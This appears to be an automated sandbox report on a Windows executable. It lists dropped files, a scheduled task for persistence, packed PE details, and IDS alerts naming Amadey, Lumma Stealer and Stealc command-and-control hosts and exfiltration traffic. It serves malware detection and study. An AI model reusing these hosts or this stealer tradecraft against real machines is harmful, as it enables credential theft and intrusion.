Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\mozilla-temp-files\mozilla-temp-41

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ISO Media, MP4 Base Media v1 [ISO 14496-12:2003]
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.4593089050301797
Encrypted:	false
SSDEEP:	48:9SP0nUgwyZXYI65yFRX2D3GNTTfyn0Mk1iA:9SDKaIjo3UzyE1L
MD5:	D910AD167F0217587501FDCDB33CC544
SHA1:	2F57441CEFDC781011B53C1C5D29AC54835AFC1D
SHA-256:	E3699D9404A3FFC1AFF0CA8A3972DC0EF38BDAB927741E9F627C7C55CEA42E81
SHA-512:	F1871BF28FF25EE52BDB99C7A80AB715C7CAC164DCD2FD87E681168EE927FD2C5E80E03C91BB638D955A4627213BF575FF4D9EECAEDA7718C128CF2CE8F7CB3D
Malicious:	false
Preview:	... ftypisom....isomiso2avc1mp41....free....mdat..........E...H..,. .#..x264 - core 152 r2851 ba24899 - H.264/MPEG-4 AVC codec - Copyleft 2003-2017 - http://www.videolan.org/x264.html - options: cabac=1 ref=3 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=7 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=4 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=2 keyint=250 keyint_min=25 scenecut=40 intra_refresh=0 rc_lookahead=40 rc=crf mbtree=1 crf=23.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=1:1.00......e...+...s\|.kG3...'.u.."...,J.w.~.d\..(K....!.+..;....h....(.T.*...M......0..~L..8..B..A.y..R..,.zBP.';j.@.].w..........c......C=.'f....gI.$^.......m5V.L...{U..%V[....8......B..i..^,....:...,..5.m.%dA....moov...lmvhd...................(...........

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\content-prefs.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 5, last written using SQLite version 3042000, page size 32768, file counter 5, database pages 8, cookie 0x6, schema 4, largest root page 8, UTF-8, vacuum mode 1, version-valid-for 5
Category:	dropped
Size (bytes):	262144
Entropy (8bit):	0.04905391753567332
Encrypted:	false
SSDEEP:	24:DLivwae+Q8Uu50xj0aWe9LxYkKA25Q5tvAA:D6wae+QtMImelekKDa5
MD5:	DD9D28E87ED57D16E65B14501B4E54D1
SHA1:	793839B47326441BE2D1336BA9A61C9B948C578D
SHA-256:	BB4E6C58C50BD6399ED70468C02B584595C29F010B66F864CD4D6B427FA365BC
SHA-512:	A2626F6A3CBADE62E38DA5987729D99830D0C6AA134D4A9E615026A5F18ACBB11A2C3C80917DAD76DA90ED5BAA9B0454D4A3C2DD04436735E78C974BA1D035B1
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......\|....~.}.}z}-\|.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\favicons.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.035822017202226504
Encrypted:	false
SSDEEP:	3:GtlstFjjRipk6kE1ariltlstFjjRipk6kE1arXL89//alEl:GtWtTi83iltWtTi83789XuM
MD5:	F91AA00888D8D118D84C0301C56211E6
SHA1:	1AF086A7D70EC5CB898C19B39A8048BAED092EB2
SHA-256:	BFD1388A36BAA2765D141429FE1829077DC0BF9450265E02C83480705CE310DE
SHA-512:	87494F32A96BC5DF046D3C6CAABEAA41407534D3D855800ADFD1014FE284B397E4C275793922E032A8340AC6D3364B74C0B6DE3532CB1977BC6BA7628C6DC1ED
Malicious:	false
Preview:	..-........................5..~oGLA.x...O.r...c..-........................5..~oGLA.x...O.r...c........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	32824
Entropy (8bit):	0.03998118428817617
Encrypted:	false
SSDEEP:	3:Ol13tEAg/fipkPjgtRAA/rl8rEXsxdwhml8XW3R2:KVUakPjgd/rl8dMhm93w
MD5:	02E4F223FA4B7A2F471084798D901164
SHA1:	199B1A0A1226ADAC1AEF341DA2D71CC30B39B824
SHA-256:	962040CAE4E6A2E59A999916CA503B6BC5DB549BAD1D8897D3C50EBA9352ED29
SHA-512:	B5DA16A7E5D52B76D31A6FF8D312FF4159F3EDCF5C330C3F09BB9325655B02924209E1656A6D589DE4E1ED4198A88EFEEC05DE0730AB3F12BE604994BC3BDDCB
Malicious:	false
Preview:	7....-..........GLA.x...i.OZ...w........GLA.x...5...o~.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs-1.js

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	11974
Entropy (8bit):	5.491158711900065
Encrypted:	false
SSDEEP:	192:pnaRtLYbBp6shj4qyaaX86KlN5U5RfGNBw8dYSl:UeOquOScwL0
MD5:	70EFA957E3CB46F707C948F32576F038
SHA1:	D506A4456696602D39397831EC6826FB00F657D1
SHA-256:	B6729D6DDD4B7B6A54A6B0477D1980BB514B344C2EB6A2B75C813D94E6A4CE42
SHA-512:	3B82A53A80A144F906A769FE6B402F4F726B70968501703296B49DA8FACBB9C22CFE4DEFCD81C6A0ADABE4AACB33A9D04FAECC3073F4F4E3E5058869A1E2C2A6
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 1);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1734693495);..user_pref("app.up

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	11974
Entropy (8bit):	5.491158711900065
Encrypted:	false
SSDEEP:	192:pnaRtLYbBp6shj4qyaaX86KlN5U5RfGNBw8dYSl:UeOquOScwL0
MD5:	70EFA957E3CB46F707C948F32576F038
SHA1:	D506A4456696602D39397831EC6826FB00F657D1
SHA-256:	B6729D6DDD4B7B6A54A6B0477D1980BB514B344C2EB6A2B75C813D94E6A4CE42
SHA-512:	3B82A53A80A144F906A769FE6B402F4F726B70968501703296B49DA8FACBB9C22CFE4DEFCD81C6A0ADABE4AACB33A9D04FAECC3073F4F4E3E5058869A1E2C2A6
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 1);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1734693495);..user_pref("app.up

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\protections.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 1, last written using SQLite version 3042000, page size 32768, file counter 5, database pages 2, cookie 0x1, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.04062825861060003
Encrypted:	false
SSDEEP:	6:ltBl/l4/WN1h4BEJYqWvLue3FMOrMZ0l:DBl/WuntfJiFxMZO
MD5:	18F65713B07CB441E6A98655B726D098
SHA1:	2CEFA32BC26B25BE81C411B60C9925CB0F1F8F88
SHA-256:	B6C268E48546B113551A5AF9CA86BB6A462A512DE6C9289315E125CEB0FD8621
SHA-512:	A6871076C7D7ED53B630F9F144ED04303AD54A2E60B94ECA2AA96964D1AB375EEFDCA86CE0D3EB0E9DBB81470C6BD159877125A080C95EB17E54A52427F805FB
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......x..x..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionCheckpoints.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 131075, last written using SQLite version 3042000, page size 512, file counter 6, database pages 8, cookie 0x4, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	2.0836444556178684
Encrypted:	false
SSDEEP:	24:JBwdh/cEUcR9PzNFPFHx/GJRBdkOrDcRB1trwDeAq2gRMyxr3:jnEUo9LXtR+JdkOnohYsl
MD5:	8B40B1534FF0F4B533AF767EB5639A05
SHA1:	63EDB539EA39AD09D701A36B535C4C087AE08CC9
SHA-256:	AF275A19A5C2C682139266065D90C237282274D11C5619A121B7BDBDB252861B
SHA-512:	54AF707698CED33C206B1B193DA414D630901762E88E37E99885A50D4D5F8DDC28367C9B401DFE251CF0552B4FA446EE28F78A97C9096AFB0F2898BFBB673B53
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	3.388605161079697
Encrypted:	false
SSDEEP:	6:ZmW0XflNeRKUEZ+lX1CGdKUe6tPjgsW2YRZuy0l7dt0:ZtOf2RKQ1CGAFAjzvYRQV5t0
MD5:	F6B40A2479C93215AB721C719CC4DEDE
SHA1:	6352A0A5CFCD223DF286F83A1A6A228D154F997E
SHA-256:	629D1F0CE6082A97EF24062CC20F9BD1C6C7FC7E4AC2A37A103D0060D71215B2
SHA-512:	9A8170624D84F5E67D0AAC4323F770D8C7A2597133AB44D8DCF2C6503C64C02E21365F1B2BCFB13E191F59BD92C4666AA3EC985021A045BD370C0F0490F3DBBC
Malicious:	false
Preview:	.....m.2.(eB..lN...~F.......<... .....s.......... ....................8.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0...................@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.59245503660469
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'958'336 bytes
MD5:	6ceb0f68635c643029bdcbf6fab01b41
SHA1:	c59cacff4ad813295a2bdc53d524df6dc62526b4
SHA256:	e02129bdbea6e49627ffbff6f291a4c1295d15725f47c1ebdae7c85a1a7dbb59
SHA512:	1031d7f3417905c6df411ff3fed4aade0c5a06494cb3f63701a5f34aa6b05710c83f5893d7517a84cb50316726d5e429e6aee9aa3db33ede4374f5f7d7c464fa
SSDEEP:	24576:nz+jM8ri0f6RuURd+tvx+OisK5KBI9bd6ypmmpzI9yv2X0IkJAEODpYVHXuXojHf:nz+YAiA633kgL9xpB0k7lzbnhIlgrp
TLSH:	1FD55D93B589B5CBD8CE2E74A117CD46791D07BC472448C3A85DA47ABE6BCC03DB6C28
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x70d000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F0569C [Sun Sep 22 17:40:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F367D3D427Ah
lar ebp, word ptr [00000000h]
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x5d4	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x30b380	0x10	sqqzsevq
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x30b330	0x18	sqqzsevq
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2de00	1f9002be9f68d60bb98d4882a778fb8b	False	0.9983768307220708	data	7.985736523641253	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x5d4	0x400	840d3766e0eb4bd88ba46e3b996ebf79	False	0.7099609375	data	5.822814220594742	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
sqqzsevq	0x6b000	0x2a1000	0x2a0a00	54ea119d9bd906d2ed8c9d1fa405b8ea	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
yeqzlsyq	0x30c000	0x1000	0x400	419e9a971ea12bfce6fb2c6afa809416	False	0.7724609375	data	6.028540456751499	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x30d000	0x3000	0x2200	03fb85feebce8e2d576a08a3bc500e78	False	0.00942095588235294	DOS executable (COM)	0.03868060765194958	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x30b390	0x3e4	XML 1.0 document, ASCII text			0.48092369477911645
RT_MANIFEST	0x30b774	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-20T11:12:06.270850+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.4	49753	185.215.113.43	80	TCP
2024-12-20T11:12:10.965343+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49768	31.41.244.11	80	TCP
2024-12-20T11:12:17.569950+0100	2058424	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (lossekniyyt .click)	1	192.168.2.4	56740	1.1.1.1	53	UDP
2024-12-20T11:12:18.597588+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.4	49764	TCP
2024-12-20T11:12:19.257280+0100	2058425	ET MALWARE Observed Win32/Lumma Stealer Related Domain (lossekniyyt .click in TLS SNI)	1	192.168.2.4	49787	172.67.131.246	443	TCP
2024-12-20T11:12:19.257280+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49787	172.67.131.246	443	TCP
2024-12-20T11:12:19.942552+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49792	185.215.113.43	80	TCP
2024-12-20T11:12:20.011792+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49787	172.67.131.246	443	TCP
2024-12-20T11:12:20.011792+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49787	172.67.131.246	443	TCP
2024-12-20T11:12:21.144835+0100	2058425	ET MALWARE Observed Win32/Lumma Stealer Related Domain (lossekniyyt .click in TLS SNI)	1	192.168.2.4	49794	172.67.131.246	443	TCP
2024-12-20T11:12:21.144835+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49794	172.67.131.246	443	TCP
2024-12-20T11:12:21.423257+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49793	185.215.113.16	80	TCP
2024-12-20T11:12:26.329027+0100	2058378	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)	1	192.168.2.4	50106	1.1.1.1	53	UDP
2024-12-20T11:12:26.556172+0100	2058364	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)	1	192.168.2.4	56030	1.1.1.1	53	UDP
2024-12-20T11:12:26.784058+0100	2058360	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (discokeyus .lat)	1	192.168.2.4	51313	1.1.1.1	53	UDP
2024-12-20T11:12:28.401442+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.4	49814	172.67.197.170	443	TCP
2024-12-20T11:12:28.401442+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49814	172.67.197.170	443	TCP
2024-12-20T11:12:28.429767+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49813	185.215.113.43	80	TCP
2024-12-20T11:12:29.146844+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49814	172.67.197.170	443	TCP
2024-12-20T11:12:29.146844+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49814	172.67.197.170	443	TCP
2024-12-20T11:12:29.883126+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49817	185.215.113.16	80	TCP
2024-12-20T11:12:30.301296+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.4	49821	172.67.197.170	443	TCP
2024-12-20T11:12:30.301296+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49821	172.67.197.170	443	TCP
2024-12-20T11:12:38.289316+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49839	185.215.113.43	80	TCP
2024-12-20T11:12:38.314521+0100	2058378	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)	1	192.168.2.4	54553	1.1.1.1	53	UDP
2024-12-20T11:12:38.539123+0100	2058364	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)	1	192.168.2.4	65070	1.1.1.1	53	UDP
2024-12-20T11:12:39.770271+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49845	185.215.113.16	80	TCP
2024-12-20T11:12:39.931810+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.4	49847	172.67.197.170	443	TCP
2024-12-20T11:12:39.931810+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49847	172.67.197.170	443	TCP
2024-12-20T11:12:40.495941+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49846	185.215.113.206	80	TCP
2024-12-20T11:12:40.685310+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49847	172.67.197.170	443	TCP
2024-12-20T11:12:40.685310+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49847	172.67.197.170	443	TCP
2024-12-20T11:12:40.936516+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.4	49846	185.215.113.206	80	TCP
2024-12-20T11:12:41.057244+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.4	49846	TCP
2024-12-20T11:12:41.377309+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.4	49846	185.215.113.206	80	TCP
2024-12-20T11:12:41.505166+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.4	49846	TCP
2024-12-20T11:12:41.908247+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.4	49853	172.67.197.170	443	TCP
